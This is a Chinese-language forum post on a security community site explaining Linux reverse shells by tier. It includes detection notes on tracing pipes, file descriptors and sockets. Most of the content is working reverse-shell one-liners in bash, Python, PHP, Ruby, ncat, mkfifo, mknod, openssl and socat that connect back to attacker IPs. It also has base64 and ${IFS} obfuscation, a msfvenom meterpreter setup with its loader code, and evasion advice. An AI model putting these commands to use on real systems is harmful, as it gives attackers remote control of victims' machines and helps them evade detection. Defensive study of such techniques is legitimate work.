问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Linux系统下反弹shell的理解
漏洞分析
之前研究过一段时间的反弹shell,所以本文是我个人对反弹shell的理解,当然,本人才疏学浅,如有啥错的地方,各位师傅指出,共同学习一起进步!!!
0x00 定义 ======= 受害者由于某种原因**主动**向攻击者发起连接,攻击者可向受害者下发命令并得到命令执行结果,即**为反弹shell**。 > 某种原因,包括但不限于受害机器运行了远控木马(钓鱼邮件附件),存在RCE漏洞等 0x01 本质 ======= 网络通信+命令执行+重定向方式 - **网络通信**:可以使用TCP/UDP/ICMP等协议,TCP协议再细分又可以包含HTTP/HTTPS协议等,UDP包含DNS等; - **命令执行**:调用shell解释器、glibc库、Syscall等方式实现; - **重定向**:管道、伪终端、内存文件等 0x02 攻击手法 ========= 初级 -- 利用系统自带的 shell 进行反弹shell,命令无混淆 ### 1. 直接把shell的标准输入、输出、错误重定向到socket中(双向) bash将标准输出、标准错误输出、标准输入通过socket链接重定向至远程 #### bash ```bash sh -i >& /dev/tcp/172.16.0.104/1234 0>&1 ``` 先简单解释一下这个命令的意思 • `0`:标准输入、`1`:标准输出、`2`:标准错误 • `r`(可读)、`w`(可写)、`u`(可读+可写) • `>&`:标准输出+错误 • `/dev/tty` 终端、`/dev/pty` 虚拟终端 一开始:  `>& /dev/tcp/172.16.0.104/1234` 之后  `0>&1`之后  数据流图如下:  通过反弹的端口 1234 去排查shell  这里的shell,除了sh,还有如下: ```php bash、pwsh、ash、bsh、csh、ksh、zsh、tcsh等 ``` 此外,还有很多其他的例子 #### python ```bash python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.11.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ```  数据流图如下:  #### php ```bash php -r '$sock=fsockopen("10.0.11.6",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ```    中级 -- 这一阶段分成两部分,一个是基于上面命令的混淆,还有一个是引入一个“中转”的机制 ### 1. 混淆(双向) base64编码 ```bash echo "sh -i >& /dev/tcp/172.16.0.104/1234 0>&1"|base64 c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjAuMTA0LzEyMzQgMD4mMQo= ``` ```bash {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjAuMTA0LzEyMzQgMD4mMQo=}|{base64,-d}|{bash,-i} ```  `${IFS}`代替空格 ```bash /bin/bash -c bash${IFS}-i${IFS}>& 172.16.0.104/1234<&1 ``` ### 2. 流量加密(双向) ```bash mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 172.16.0.104:1234 > /tmp/f ``` <https://www.cnblogs.com/heycomputer/articles/10697865.html> 这里主要讨论的是openssl流量的加密,管道在下面会分析 ### 3. 中转-管道 所谓“中转”,就是shell的标准输入、输出、错误**不直接**重定向到socket 中,而是在中间加入一个东西,即管道,然后再由管道连接 socket 不同进程之间通过管道相连接,最后通过多次管道定向至bash的输入输出 #### Ncat(双向) ```bash ncat 10.0.11.6 1234 -e /bin/bash ```    双向证明:  #### mkfifo(双向) ```bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.16.0.104 1234 > /tmp/f ``` mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给`/bin/sh`,sh会执行管道里的命令并将标准输出和标准错误输出结果通过`nc`传到该管道,由此形成了一个回路 在某些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪fd和进程的关系可以覆盖  如下,假设我们要追查`bash -i`:  上面查了639226管道,只查到了cat,下面查另一个管道639228,最终查到了nc对应的socket   双向证明:  #### mknod(双向) ```bash mknod backpipe p; nc 10.0.11.6 1234 0<backpipe | /bin/bash 1>backpipe 2>backpipe ```  双向证明:  总的来说,0,1,2标准输入输出、错误输出流被指向pipe管道,管道指向到另一个进程会有一个对外的socket链接,中间或许经过多层管道,但最终被定向到的进程必有一个socket链接。 高级 -- ### 1. 流量伪装 <https://github.com/krabelize/icmpdoor> <https://github.com/bdamele/icmpsh> [https://github.com/ahhh/Reverse\_DNS\_Shell](https://github.com/ahhh/Reverse_DNS_Shell) #### Icmpdoor(单向)  进程链:    ### 2. 标准输入由代码处理(无落地)(单向) 编程语言实现标准输入中转,重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。 ```bash python3 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.0.11.6',1234))\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")" ``` 首先建立了一个socket,然后进入死循环。循环里面,启动了一个shell进程,输入由socket控制,输出和误都指向一个管道。命令执行完后,将输出和错误通过socket发送出去   注意: 1. 执行完命令,shell立刻关闭,因此测试的时候,进行了长ping 2. 一执行命令shell就往管道写 查看进程链,执行同样的命令,每次启动的shell都不一样,shell执行完后就关闭了 这里的图片用的是旧的,所以进程id对应不上   单向证明:  还有以下: ```bash python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('172.16.0.104',1234))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")" ```   ```bash ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.11.6","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ```   ### 3. 伪终端 pty 这类的攻击,特征就是shell的基本输入输出错误都重定向到了 `/dev/pts`,且恶意程序会打开`/dev/ptmx`,且会有socket外连 #### socat(双向) ```bash # 反弹命令 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.11.6:1234 # 监听命令 socat file:`tty`,raw,echo=0 tcp-listen:1234 ```  先从进程入手   再在攻击者上查看当前tty,看是否是`/dev/pts/2`  #### Python(双向) ```bash python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.11.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' ```    #### msf-python/meterpreter/reverse\_tcp(双向) ```bash # 控制端 msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.11.6 LPORT=1234 -f raw -o /tmp/mrtp.py msfconsole msf5 > use exploit/multi/handler msf5 > set PAYLOAD python/meterpreter/reverse_tcp msf5 > set LHOST 10.0.11.6 msf5 > set LPORT 1234 msf5 > run # 被控端 python3 mrtp.py ``` `mrtp.py` 如下: ```python import socket import zlib import base64 import struct import time for x in range(10): try: s = socket.socket(2, socket.SOCK_STREAM) s.connect(('10.0.11.6', 1234)) break except: time.sleep(5) l = struct.unpack('>I', s.recv(4))[0] d = s.recv(l) while len(d) < l: d += s.recv(l - len(d)) exec(zlib.decompress(base64.b64decode(d)), {'s': s}) ```     双向证明:  ### 4. 非交互式shell-远控木马 #### 1. 恶意程序负责socket通信,如 msf-meterpreter/reverse\_tcp 恶意程序负责socket通信,同时把命令写到管道1中,shell从管道1中读取命令执行,并把结果写到管道2,恶意程序从管道2中读取数据,通过socket回传给攻击者。  ```bash # 控制端 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.11.6 LPORT=1234 -f elf -o /tmp/exp msfconsole msf5 > use exploit/multi/handler msf5 > set payload linux/x64/meterpreter/reverse_tcp msf5 > set LHOST 10.0.11.6 msf5 > set LPORT 1234 msf5 > run # 被控端 chmod 777 exp ./exp ```    #### 2. 自定义shell 自定义一个shell,不使用系统自带的shell。 以 ls 命令为例子,功能是查看目录中有哪些文件,假如我们不想使用ls命令,那我们有什么办法呢? 那就自己写一个类似功能程序的代码,然后执行就可以了。 以 python shellcode为例子(你也可以写汇编 shellcode): ```python ls_shellcode = ''' import os dst_path = '{dst_path}' dirs = os.listdir(dst_path) for file in dirs: print(file) ''' exec(ls_shellcode.format(dst_path = "C:/")) ``` 输出: ```php $Recycle.Bin DocumentsandSettings Intel pagefile.sys PerfLogs ProgramFiles .... ``` 这样根本不会出现启动系统自带的shell,为了更加隐蔽,还可以把shellcode通过网络传输。 再看现有的解决方案:以 <https://github.com/rapid7/mettle> 为例子,内置了一些的常用命令  具体代码本人还在研究中。。。 0x03 总结 ======= 这是我自己对linux反弹shell的一些理解,也是按照我自己的理解对其进行了分级,分成初中高级。。。可能会存在争论,又或者有一些我不曾知道的手法,欢迎各位师傅一起讨论啊! 在学习研究过程中,也参考了一些师傅的文章,因为时间太过长远了,已经忘了参考了哪些文章了,如果师傅们在看本文的过程中,发现有一些思路有师傅写过,需要我加上参考链接的,欢迎随时Q我:)
发表于 2024-11-21 09:00:00
阅读 ( 1686 )
分类:
其他
6 推荐
收藏
1 条评论
c铃儿响叮当
2024-11-30 23:42
tql
请先
登录
后评论
请先
登录
后评论
江小虫儿
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!